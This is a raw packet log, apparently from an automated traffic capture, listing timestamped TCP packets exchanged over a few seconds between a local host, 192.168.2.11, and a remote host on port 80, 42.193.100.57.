Nov 20, 2024 09:14:48.835659981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835663080 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.835683107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835692883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835692883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.835705042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835731983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.835756063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835767984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835779905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835784912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.835793018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835803032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835808039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.835845947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.835845947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.879831076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.879880905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.879892111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.879904032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.879915953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.879964113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.879976988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.879987955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.879998922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.880033016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.880101919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.880105019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.880172014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.880192995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.880202055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.880206108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.880213976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.880218029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.880234003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.880243063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.880243063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.880256891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.880269051 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.880278111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.880361080 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881129026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881150007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881166935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881179094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881189108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881212950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881238937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881249905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881262064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881267071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881272078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881299973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881303072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881300926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881316900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881328106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881331921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881398916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881409883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881422043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881424904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881433964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881467104 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881467104 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881486893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881499052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881510973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881516933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881524086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881537914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881556034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881567001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881567955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881582022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881592989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881611109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881611109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881632090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881643057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881660938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881674051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881685019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881705999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881741047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881756067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881769896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881773949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881784916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881802082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881802082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881869078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881881952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881892920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881905079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881915092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881923914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881943941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881954908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881966114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881969929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.881975889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.881989956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882050991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882061005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882071972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882075071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882085085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882097960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882111073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882131100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882142067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882159948 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882160902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882172108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882184982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882186890 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882194996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882210970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882220030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882239103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882255077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882266998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882267952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882294893 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882359028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882370949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882374048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882384062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882396936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882457972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882460117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882469893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882482052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882493019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882508039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882601023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882611990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882622957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882623911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882633924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882646084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882647991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882658005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882671118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882709980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882709980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882741928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882752895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882765055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882781029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882800102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882812023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882812023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882812023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882823944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.882841110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882841110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882869005 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.882869005 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.477762938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.477883101 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.477936983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.477948904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.477977037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.477983952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.477993965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478004932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478007078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478018045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478040934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478106022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478117943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478128910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478140116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478143930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478169918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478202105 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478280067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478292942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478302956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478308916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478317976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478321075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478329897 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478333950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478344917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478355885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478360891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478368044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478379011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478380919 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478393078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478421926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478423119 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478435993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478446007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478456974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478461027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478468895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478480101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478487015 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478513002 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478537083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478611946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478624105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478652954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478809118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478821993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478832960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478843927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478854895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478863955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478863955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478866100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478878975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478889942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478899956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478900909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478915930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.478928089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478950024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.478965998 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479106903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479118109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479129076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479139090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479151011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479154110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479171038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479187012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479289055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479300022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479310036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479327917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479330063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479341984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479347944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479357958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479367971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479372025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479392052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479422092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479453087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479465008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479475975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479486942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479490042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479500055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479525089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479659081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479671001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479681015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479692936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479701996 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479707003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479729891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479736090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479756117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479777098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479799986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479811907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479824066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479835987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479837894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479847908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479859114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479861975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479893923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479902029 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.479978085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.479990005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480000973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480011940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480016947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480024099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480031967 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480067015 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480175972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480202913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480214119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480216026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480226040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480251074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480251074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480268955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480351925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480364084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480374098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480385065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480390072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480398893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480407953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480412006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480424881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480439901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480448961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480478048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480508089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480520010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480530024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480541945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480547905 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480554104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480570078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480593920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480684042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480695009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480705976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480715990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480727911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480752945 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480840921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480851889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480864048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480874062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480884075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480885029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480910063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480910063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480921984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480932951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.480933905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.480963945 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.481003046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.481033087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.481044054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.481055021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.481077909 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.481105089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.481210947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.481223106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.481232882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.481245041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.481250048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.481256008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.481266975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.481271982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:49.481278896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:49.481297016 CET	49701	80	192.168.2.11	42.193.100.57
